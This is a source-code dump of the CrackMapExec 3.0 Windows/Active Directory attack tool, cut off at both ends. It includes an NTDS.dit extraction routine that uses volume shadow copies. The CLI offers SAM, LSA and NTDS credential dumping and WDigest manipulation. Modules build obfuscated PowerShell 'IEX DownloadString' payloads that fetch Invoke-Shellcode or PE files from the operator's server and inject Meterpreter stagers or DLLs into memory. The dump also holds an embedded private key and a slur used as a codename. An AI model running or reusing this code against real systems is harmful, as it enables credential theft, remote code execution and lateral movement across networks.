== '' or (shadow != '' and shadowFor != ntdsDrive): 487 | # No shadow, create one 488 | self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) 489 | shadow, shadowFor = self.__getLastVSS() 490 | shouldRemove = True 491 | if shadow == '': 492 | raise Exception('Could not get a VSS') 493 | else: 494 | shouldRemove = False 495 | 496 | # Now copy the ntds.dit to the temp directory 497 | tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' 498 | 499 | self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) 500 | 501 | if shouldRemove is True: 502 | self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) 503 | 504 | self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 505 | 506 | remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) 507 | 508 | return remoteFileName 509 | -------------------------------------------------------------------------------- /core/spider/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustedsec/CrackMapExec/cd989879d495fc14f99375934c9052658fee4264/core/spider/__init__.py -------------------------------------------------------------------------------- /core/spider/smbspider.py: -------------------------------------------------------------------------------- 1 | from time import time, strftime, localtime 2 | from core.remotefile import RemoteFile 3 | from impacket.smb3structs import FILE_READ_DATA 4 | from impacket.smbconnection import SessionError 5 | import re 6 | import traceback 7 | 8 | class SMBSpider: 9 | 10 | def __init__(self, logger, connection, args): 11 | self.logger = logger 12 | self.smbconnection = connection.conn 13 | self.start_time = time() 14 | self.args = args 15 | self.logger.info("Started spidering") 16 | 17 | def spider(self, subfolder, depth): 18 | ''' 19 | Apperently spiders don't like stars *! 20 | who knew? damn you spiders 21 | ''' 22 | 23 | if subfolder == '' or subfolder == '.': 24 | subfolder = '*' 25 | 26 | elif subfolder.startswith('*/'): 27 | subfolder = subfolder[2:] + '/*' 28 | 29 | else: 30 | subfolder = subfolder.replace('/*/', '/') + '/*' 31 | 32 | try: 33 | filelist = self.smbconnection.listPath(self.args.share, subfolder) 34 | self.dir_list(filelist, subfolder) 35 | if depth == 0: 36 | return 37 | except SessionError as e: 38 | pass 39 | 40 | for result in filelist: 41 | if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..': 42 | if subfolder == '*': 43 | self.spider(subfolder.replace('*', '') + result.get_longname(), depth-1) 44 | elif subfolder != '*' and (subfolder[:-2].split('/')[-1] not in self.args.exclude_dirs): 45 | self.spider(subfolder.replace('*', '') + result.get_longname(), depth-1) 46 | return 47 | 48 | def dir_list(self, files, path): 49 | path = path.replace('*', '') 50 | for result in files: 51 | if self.args.pattern: 52 | for pattern in self.args.pattern: 53 | if result.get_longname().lower().find(pattern.lower()) != -1: 54 | if result.is_directory(): 55 | self.logger.highlight(u"//{}/{}{} [dir]".format(self.args.share, path, result.get_longname())) 56 | else: 57 | self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.args.share, 58 | path, 59 | result.get_longname(), 60 | strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), 61 | result.get_filesize())) 62 | 63 | elif self.args.regex: 64 | for regex in self.args.regex: 65 | if re.findall(regex, result.get_longname()): 66 | if result.is_directory(): 67 | self.logger.highlight(u"//{}/{}{} [dir]".format(self.args.share, path, result.get_longname())) 68 | else: 69 | self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.args.share, 70 | path, 71 | result.get_longname(), 72 | strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), 73 | result.get_filesize())) 74 | 75 | if self.args.search_content: 76 | if not result.is_directory(): 77 | self.search_content(path, result) 78 | 79 | return 80 | 81 | def search_content(self, path, result): 82 | path = path.replace('*', '') 83 | try: 84 | rfile = RemoteFile(self.smbconnection, 85 | path + result.get_longname(), 86 | self.args.share, 87 | access = FILE_READ_DATA) 88 | rfile.open() 89 | 90 | while True: 91 | try: 92 | contents = rfile.read(4096) 93 | except SessionError as e: 94 | if 'STATUS_END_OF_FILE' in str(e): 95 | break 96 | 97 | except Exception: 98 | traceback.print_exc() 99 | break 100 | 101 | if self.args.pattern: 102 | for pattern in self.args.pattern: 103 | if contents.lower().find(pattern.lower()) != -1: 104 | self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.args.share, 105 | path, 106 | result.get_longname(), 107 | strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), 108 | result.get_filesize(), 109 | rfile.tell(), 110 | pattern)) 111 | 112 | elif self.args.regex: 113 | for regex in self.args.regex: 114 | if re.findall(pattern, contents): 115 | self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.args.share, 116 | path, 117 | result.get_longname(), 118 | strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())), 119 | result.get_filesize(), 120 | rfile.tell(), 121 | regex.pattern)) 122 | rfile.close() 123 | return 124 | 125 | except SessionError as e: 126 | if 'STATUS_SHARING_VIOLATION' in str(e): 127 | pass 128 | 129 | except Exception: 130 | traceback.print_exc() 131 | 132 | def finish(self): 133 | self.logger.info("Done spidering (Completed in {})".format(time() - self.start_time)) -------------------------------------------------------------------------------- /core/targetparser.py: -------------------------------------------------------------------------------- 1 | from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError 2 | 3 | def parse_targets(target): 4 | if '-' in target: 5 | ip_range = target.split('-') 6 | try: 7 | hosts = IPRange(ip_range[0], ip_range[1]) 8 | except AddrFormatError: 9 | try: 10 | start_ip = IPAddress(ip_range[0]) 11 | 12 | start_ip_words = list(start_ip.words) 13 | start_ip_words[-1] = ip_range[1] 14 | start_ip_words = [str(v) for v in start_ip_words] 15 | 16 | end_ip = IPAddress('.'.join(start_ip_words)) 17 | 18 | t = IPRange(start_ip, end_ip) 19 | except AddrFormatError: 20 | t = target 21 | else: 22 | try: 23 | t = IPNetwork(target) 24 | except AddrFormatError: 25 | t = target 26 | 27 | if type(t) == IPNetwork or type(t) == IPRange: 28 | return list(t) 29 | else: 30 | return [t.strip()] 31 | -------------------------------------------------------------------------------- /crackmapexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | #This must be one of the first imports or else we get threading error on completion 4 | from gevent import monkey 5 | monkey.patch_all() 6 | 7 | from gevent.pool import Pool 8 | from gevent import joinall, sleep 9 | from core.connector import connector 10 | from core.database import CMEDatabase 11 | from core.cmeserver import CMEServer 12 | from threading import Thread 13 | from logging import getLogger 14 | from argparse import RawTextHelpFormatter 15 | from core.logger import setup_logger, setup_debug_logger, CMEAdapter 16 | from core.context import Context 17 | from core.helpers import highlight 18 | from core.targetparser import parse_targets 19 | import getpass 20 | import sqlite3 21 | import imp 22 | import argparse 23 | import os 24 | import logging 25 | import sys 26 | 27 | VERSION = '3.0' 28 | CODENAME = '\'So looong gay boy!\'' 29 | 30 | parser = argparse.ArgumentParser(description=""" 31 | ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ 32 | / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | 33 | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' 34 | | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | 35 | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. 36 | \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| 37 | 38 | 39 | Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r 40 | 41 | Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) 42 | 43 | Inspired by: 44 | @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap 45 | @gojhonny's CredCrack https://github.com/gojhonny/CredCrack 46 | @pentestgeek's smbexec https://github.com/pentestgeek/smbexec 47 | 48 | {}: {} 49 | {}: {} 50 | """.format(highlight('Version', 'red'), 51 | highlight(VERSION), 52 | highlight('Codename', 'red'), 53 | highlight(CODENAME)), 54 | 55 | formatter_class=RawTextHelpFormatter, 56 | version='{} - {}'.format(VERSION, CODENAME), 57 | epilog='HA! Made you look!') 58 | 59 | parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets") 60 | parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)") 61 | parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication') 62 | parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames") 63 | parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") 64 | msgroup = parser.add_mutually_exclusive_group() 65 | msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords") 66 | msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') 67 | parser.add_argument("-m", metavar='MODULE', dest='module', help='Payload module to use') 68 | parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options') 69 | parser.add_argument('--module-info', action='store_true', dest='module_info', help='Display module info') 70 | parser.add_argument("--share", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)") 71 | parser.add_argument("--smb-port", dest='smb_port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") 72 | parser.add_argument("--mssql-port", dest='mssql_port', default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)') 73 | parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') 74 | parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') 75 | parser.add_argument("--server-port", dest='server_port', metavar='PORT', type=int, help='Start the server on the specified port') 76 | parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate locally to each target') 77 | parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)') 78 | parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output") 79 | 80 | rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials") 81 | rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') 82 | rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') 83 | rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)") 84 | rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') 85 | rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') 86 | rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1") 87 | 88 | egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") 89 | egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="Enumerate shares and access") 90 | egroup.add_argument('--uac', action='store_true', help='Checks UAC status') 91 | egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions') 92 | egroup.add_argument('--disks', action='store_true', dest='enum_disks', help='Enumerate disks') 93 | egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users') 94 | egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (default: 4000)') 95 | egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy') 96 | egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users') 97 | egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query') 98 | egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', dest='wmi_namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') 99 | 100 | sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") 101 | sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)') 102 | sgroup.add_argument("--content", dest='search_content', action='store_true', help='Enable file content searching') 103 | sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', dest='exclude_dirs', help='Directories to exclude from spidering') 104 | esgroup = sgroup.add_mutually_exclusive_group() 105 | esgroup.add_argument("--pattern", nargs='*', help='Pattern(s) to search for in folders, filenames and file content') 106 | esgroup.add_argument("--regex", nargs='*', help='Regex(s) to search for in folders, filenames and file content') 107 | sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)') 108 | 109 | cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") 110 | cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default="wmiexec", help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") 111 | cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') 112 | cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output') 113 | cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command") 114 | cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Execute the specified PowerShell command') 115 | 116 | mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs") 117 | mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs') 118 | mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB') 119 | 120 | if len(sys.argv) == 1: 121 | parser.print_help() 122 | sys.exit(1) 123 | 124 | module = None 125 | server = None 126 | context = None 127 | targets = [] 128 | server_port_dict = {'http': 80, 'https': 443} 129 | 130 | args = parser.parse_args() 131 | 132 | if args.verbose: 133 | setup_debug_logger() 134 | 135 | logger = CMEAdapter(setup_logger()) 136 | 137 | if os.geteuid() is not 0: 138 | logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getpass.getuser())) 139 | sys.exit(1) 140 | 141 | if not args.server_port: 142 | args.server_port = server_port_dict[args.server] 143 | 144 | try: 145 | # set the database connection to autocommit w/ isolation level 146 | db_connection = sqlite3.connect('data/cme.db', check_same_thread=False) 147 | db_connection.text_factory = str 148 | db_connection.isolation_level = None 149 | db = CMEDatabase(db_connection) 150 | except Exception as e: 151 | logger.error("Could not connect to CME database: {}".format(e)) 152 | sys.exit(1) 153 | 154 | if args.cred_id: 155 | try: 156 | c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0] 157 | args.username = [username] 158 | 159 | if not args.domain: 160 | args.domain = domain 161 | if credtype == 'hash': 162 | args.hash = [password] 163 | elif credtype == 'plaintext': 164 | args.password = [password] 165 | except IndexError: 166 | logger.error("Invalid database credential ID!") 167 | sys.exit(1) 168 | else: 169 | for user, passw, ntlm_hash in zip(args.username, args.password, args.hash): 170 | if os.path.exists(user): 171 | args.username.remove(user) 172 | args.username.append(open(user, 'r')) 173 | 174 | if os.path.exists(passw): 175 | args.password.remove(passw) 176 | args.password.append(open(passw, 'r')) 177 | 178 | if os.path.exists(ntlm_hash): 179 | args.hash.remove(ntlm_hash) 180 | args.hash.append(open(ntlm_hash, 'r')) 181 | 182 | if args.module: 183 | if not os.path.exists(args.module): 184 | logger.error('Path to module invalid!') 185 | sys.exit(1) 186 | else: 187 | module = imp.load_source('payload_module', args.module).CMEModule() 188 | if not hasattr(module, 'name'): 189 | logger.error('Module missing the name variable!') 190 | sys.exit(1) 191 | 192 | elif not hasattr(module, 'options'): 193 | logger.error('Module missing the options function!') 194 | sys.exit(1) 195 | 196 | elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'): 197 | logger.error('Module missing the on_login/on_admin_login function(s)!') 198 | sys.exit(1) 199 | 200 | if args.module_info: 201 | logger.info('{} module description:'.format(module.name)) 202 | print module.__doc__ 203 | logger.info('{} module options:'.format(module.name)) 204 | print module.options.__doc__ 205 | sys.exit(0) 206 | 207 | module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()}) 208 | context = Context(db, module_logger, args) 209 | 210 | module_options = {} 211 | 212 | for option in args.module_options: 213 | key, value = option.split('=') 214 | module_options[str(key).upper()] = value 215 | 216 | module.options(context, module_options) 217 | 218 | if hasattr(module, 'on_request') or hasattr(module, 'has_response'): 219 | server = CMEServer(module, context, args.server_host, args.server_port, args.server) 220 | server.start() 221 | 222 | for target in args.target: 223 | if os.path.exists(target): 224 | with open(target, 'r') as target_file: 225 | for target_entry in target_file: 226 | targets.extend(parse_targets(target_entry)) 227 | else: 228 | targets.extend(parse_targets(target)) 229 | 230 | try: 231 | ''' 232 | Open all the greenlet (as supposed to redlet??) threads 233 | Whoever came up with that name has a fetish for traffic lights 234 | ''' 235 | pool = Pool(args.threads) 236 | jobs = [pool.spawn(connector, str(target), args, db, module, context, server) for target in targets] 237 | 238 | #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout 239 | if args.ntds or args.spider: 240 | joinall(jobs) 241 | elif not args.ntds: 242 | for job in jobs: 243 | job.join(timeout=args.timeout) 244 | except KeyboardInterrupt: 245 | pass 246 | 247 | if server: 248 | server.shutdown() 249 | 250 | logger.info('KTHXBYE!') -------------------------------------------------------------------------------- /data/cme.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDRddJMuw1pbSLy 3 | KX0FpXmnvjSwCuQexzpTDPHs9mIq90DhPiaXVP4LzRqNQM2sB5AchkQfEkcCme6E 4 | jT1MmMBKPUa5TTLLoXv7b3r6zK9EwoYuWDTAvmuUykaUJt4lfiGHBqVlqIs0fO4t 5 | 13kOEYNAcSsXHKsZuTI4lun8Ji4Bw/9FA+dgItQHAEf+5oT0VQ17YFnQY+6jBecj 6 | kU8dpKMBnegM0qmRuwTQcLi8eGp8zo4lXDsDN+niUlfnl0wdmzMKzXvYsQfaa9Je 7 | 0aeVfwViH9DVjkvDtXucVdPzz9pqireZLrpQCmDZciuwoUnQ0znMI3vqZCg4Wt4M 8 | p8g0TllbAgMBAAECggEAW2NeuB+8wEzfvGyhob8LD0cL0etOkKc4KVgyjcMKHdj3 9 | M89cIxbwKNH6TbsCgZZjKC7ktfHRja7/xFGjdzIGY93MZ7jo+rOgVpnTPG3l4shE 10 | px/RFG+AnNCMbsNulUks867Qp0QcSHBhsxqaNKsrawh1VoYpmPWWld4yhNNbq2TA 11 | fUHk9vTwUAXVxpZmJ2pg3nWQUTEhOBrwX6walEiMKabZkjmTF9MF4OddNpM0zD/v 12 | O7shtESW1uHt6fY06YFQe7GELWNRu+YuPbNGkCX8Tw5izEnEI0q2sFKYaRzxnujF 13 | gfQ+tn/ZdQeG7yZb4GTOPRX21figOrDgIwHerRMBIQKBgQDqKKNlSvJpqyWkvWwH 14 | SWlVyf8pTTAv5YvopYWodW5YCD2mY1HU56umVyP2jjZuZPUsb6kYUptiyOklYoI4 15 | jxMfe/pVlhmDlxcLk8yJOuc5Li4vk2YdJN0IQQTB+0bseRA7FsAQIThSGdxZRv+H 16 | OuaCMh63X53ohUwIbW8G2r2vwwKBgQDk/2t263gnIbHL2DVZiQnC0qUU4IO1fVqw 17 | vVs47TF44gkdm6bZ2C856SWGly6rgPfFxUrf8TaP15BwmbVziOOhDxEIgqncMBCy 18 | fSbZ0L+wFNXONsgdBwg0qLZSPNDQnWOZVNigKrcOVCQsfazDVLktsRRdTCmWtcmj 19 | ilNUlMzuiQKBgQDKUvDUDg0ldqchEDbumOT2JoJd+n7/c7UPAS5a35THZd93DGxh 20 | rQeow7SkTj8D5iHeEmEmTgJLOdQR5GsmWaGpW6NzHi3PgNZ9v2hEzuuJgbiQjSj3 21 | V6nQfvWQcwDWRMjcdYzgowOaFRRK48jY3PDdYFcgFPNJPRv0UDJV1t19pwKBgCW9 22 | lsd9nUrNudC/rGM6O5qZPs3HBs31f+na+1rRdLLYheoUShZjE712mFGrPuzTD4LP 23 | tjxcM8LXIx37pzUIXYOgyQzfBAGfBlF0YN/LEJyDgo0+6BIoo4iSOaIqFbwcBFsz 24 | 6ZPUFmFNKr0OZVe38eD+6z1JHR2Sjk3esUciUvgJAoGBAK+eVKX7Sc2+jXOG8/do 25 | gacP/F1QCt3mZbuuovcRAJ0kU1MsBbMk00OSBJSy5P+QqNiCF3jyIDq+quuQnlij 26 | euhgEhXlLBrDbYSprlBfkPXd753iPzioZPRQ9hepIHKVWXAH6qWrkdrcYLCexW6k 27 | aq0AHaojuhZXj/dC8baWMy05 28 | -----END PRIVATE KEY----- 29 | -----BEGIN CERTIFICATE----- 30 | MIIC7TCCAdWgAwIBAgIJAKY3+4SmEM9uMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV 31 | BAYTAlVTMB4XDTE2MDMxNjA2NTMyMFoXDTE3MDMxNjA2NTMyMFowDTELMAkGA1UE 32 | BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRddJMuw1pbSLy 33 | KX0FpXmnvjSwCuQexzpTDPHs9mIq90DhPiaXVP4LzRqNQM2sB5AchkQfEkcCme6E 34 | jT1MmMBKPUa5TTLLoXv7b3r6zK9EwoYuWDTAvmuUykaUJt4lfiGHBqVlqIs0fO4t 35 | 13kOEYNAcSsXHKsZuTI4lun8Ji4Bw/9FA+dgItQHAEf+5oT0VQ17YFnQY+6jBecj 36 | kU8dpKMBnegM0qmRuwTQcLi8eGp8zo4lXDsDN+niUlfnl0wdmzMKzXvYsQfaa9Je 37 | 0aeVfwViH9DVjkvDtXucVdPzz9pqireZLrpQCmDZciuwoUnQ0znMI3vqZCg4Wt4M 38 | p8g0TllbAgMBAAGjUDBOMB0GA1UdDgQWBBT1PkNBmPYUiKBCwLbxkkM6HciCUDAf 39 | BgNVHSMEGDAWgBT1PkNBmPYUiKBCwLbxkkM6HciCUDAMBgNVHRMEBTADAQH/MA0G 40 | CSqGSIb3DQEBCwUAA4IBAQCU7SAcL2MMmSavS/TT2R0X2kDjgSzBUwOV01I8hML+ 41 | zP5Ik4EbUtDzd+j4ebf8MtX+vYWA12ajfF6odIi66fsXsRhVCDMjSCYbrR6b0bAP 42 | r9VdILYW0dB5HrWvGKrGr/63G2bsIoF1mGvMZwSy2T1K1sJsfcUqHv5yu5ZHIpEh 43 | 7aPYZPCpu2jOQbMEjtnoS6HBx5JVvsdcnMWD8xTI0eok3B71cBiU+yaKCCGi0hgZ 44 | tSf8B+78lgcg5Nfpz52uPnWB5amzxAakaGd7CrzUV7iZlw066x+w+EeotfKfFH2H 45 | rkXO/Fi5+LxVXTd5NFN+Zz2LUt6zTldIMKrG76yiy3qa 46 | -----END CERTIFICATE----- 47 | -------------------------------------------------------------------------------- /logs/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /modules/code_execution/meterpreter_inject.py: -------------------------------------------------------------------------------- 1 | from core.helpers import gen_random_string, create_ps_command, obfs_ps_script 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script 7 | Module by @byt3bl33d3r 8 | ''' 9 | name = 'MetInject' 10 | 11 | def options(self, context, module_options): 12 | ''' 13 | LHOST IP hosting the handler 14 | LPORT Handler port 15 | PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) 16 | PROCID Process ID to inject into (default: current powershell process) 17 | ''' 18 | 19 | if not 'LHOST' in module_options or not 'LPORT' in module_options: 20 | context.log.error('LHOST and LPORT options are required!') 21 | exit(1) 22 | 23 | self.met_payload = 'reverse_https' 24 | self.lhost = None 25 | self.lport = None 26 | self.procid = None 27 | 28 | if 'PAYLOAD' in module_options: 29 | self.met_payload = module_options['PAYLOAD'] 30 | 31 | if 'PROCID' in module_options: 32 | self.procid = module_options['PROCID'] 33 | 34 | self.lhost = module_options['LHOST'] 35 | self.lport = module_options['LPORT'] 36 | self.obfs_name = gen_random_string() 37 | 38 | def on_admin_login(self, context, connection): 39 | #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode 40 | #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode 41 | 42 | payload = """ 43 | IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1') 44 | $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} 45 | $SumTest = $False 46 | while ($SumTest -eq $False) 47 | {{ 48 | $GeneratedUri = $CharArray | Get-Random -Count 4 49 | $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) 50 | }} 51 | $RequestUri = -join $GeneratedUri 52 | $Request = "{}://{}:{}/$($RequestUri)" 53 | $WebClient = New-Object System.Net.WebClient 54 | [Byte[]]$bytes = $WebClient.DownloadData($Request) 55 | Invoke-{} -Force -Shellcode $bytes""".format(context.server, 56 | context.localip, 57 | context.server_port, 58 | 'http' if self.met_payload == 'reverse_http' else 'https', 59 | self.lhost, 60 | self.lport, 61 | self.obfs_name) 62 | 63 | if self.procid: 64 | payload += " -ProcessID {}".format(self.procid) 65 | 66 | context.log.debug('Payload:{}'.format(payload)) 67 | payload = create_ps_command(payload, force_ps32=True) 68 | connection.execute(payload) 69 | context.log.success('Executed payload') 70 | 71 | def on_request(self, context, request): 72 | if 'Invoke-Shellcode.ps1' == request.path[1:]: 73 | request.send_response(200) 74 | request.end_headers() 75 | 76 | with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1', 'r') as ps_script: 77 | ps_script = obfs_ps_script(ps_script.read(), self.obfs_name) 78 | request.wfile.write(ps_script) 79 | 80 | request.stop_tracking_host() 81 | 82 | else: 83 | request.send_response(404) 84 | request.end_headers() -------------------------------------------------------------------------------- /modules/code_execution/pe_dll_inject.py: -------------------------------------------------------------------------------- 1 | from core.helpers import gen_random_string, create_ps_command, obfs_ps_script 2 | from sys import exit 3 | import os 4 | 5 | class CMEModule: 6 | ''' 7 | Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script 8 | Module by @byt3bl33d3r 9 | ''' 10 | name = 'PEInject' 11 | 12 | def options(self, context, module_options): 13 | ''' 14 | PATH Path to dll/exe to inject 15 | PROCID Process ID to inject into (default: current powershell process) 16 | EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) 17 | ''' 18 | 19 | if not 'PATH' in module_options: 20 | context.log.error('PATH option is required!') 21 | exit(1) 22 | 23 | self.payload_path = os.path.expanduser(module_options['PATH']) 24 | if not os.path.exists(self.payload_path): 25 | context.log.error('Invalid path to EXE/DLL!') 26 | exit(1) 27 | 28 | self.procid = None 29 | self.exeargs = None 30 | 31 | if 'PROCID' in module_options: 32 | self.procid = module_options['PROCID'] 33 | 34 | if 'EXEARGS' in module_options: 35 | self.exeargs = module_options['EXEARGS'] 36 | 37 | self.obfs_name = gen_random_string() 38 | 39 | def on_admin_login(self, context, connection): 40 | 41 | payload = """ 42 | IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1'); 43 | $WebClient = New-Object System.Net.WebClient; 44 | [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}'); 45 | Invoke-{func_name} -PEBytes $bytes""".format(server=context.server, 46 | port=context.server_port, 47 | addr=context.localip, 48 | func_name=self.obfs_name, 49 | pefile=os.path.basename(self.payload_path)) 50 | 51 | if self.procid: 52 | payload += ' -ProcessID {}'.format(self.procid) 53 | 54 | if self.exeargs: 55 | payload += ' -ExeArgs "{}"'.format(self.exeargs) 56 | 57 | context.log.debug('Payload:{}'.format(payload)) 58 | payload = create_ps_command(payload, force_ps32=True) 59 | connection.execute(payload) 60 | context.log.success('Executed payload') 61 | 62 | def on_request(self, context, request): 63 | if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]: 64 | request.send_response(200) 65 | request.end_headers() 66 | 67 | with open('data/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1', 'r') as ps_script: 68 | ps_script = obfs_ps_script(ps_script.read(), self.obfs_name) 69 | request.wfile.write(ps_script) 70 | 71 | elif os.path.basename(self.payload_path) == request.path[1:]: 72 | request.send_response(200) 73 | request.end_headers() 74 | 75 | with open(self.payload_path, 'rb') as payload: 76 | request.wfile.write(payload.read()) 77 | 78 | request.stop_tracking_host() 79 | 80 | else: 81 | request.send_response(404) 82 | request.end_headers() -------------------------------------------------------------------------------- /modules/code_execution/shellcode_inject.py: -------------------------------------------------------------------------------- 1 | import os 2 | from core.helpers import gen_random_string, create_ps_command, obfs_ps_script 3 | from sys import exit 4 | 5 | class CMEModule: 6 | ''' 7 | Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script 8 | Module by @byt3bl33d3r 9 | ''' 10 | name = 'ShellInject' 11 | 12 | def options(self, context, module_options): 13 | ''' 14 | PATH Path to the raw shellcode to inject 15 | PROCID Process ID to inject into (default: current powershell process) 16 | ''' 17 | 18 | if not 'PATH' in module_options: 19 | context.log.error('PATH option is required!') 20 | exit(1) 21 | 22 | self.shellcode_path = os.path.expanduser(module_options['PATH']) 23 | if not 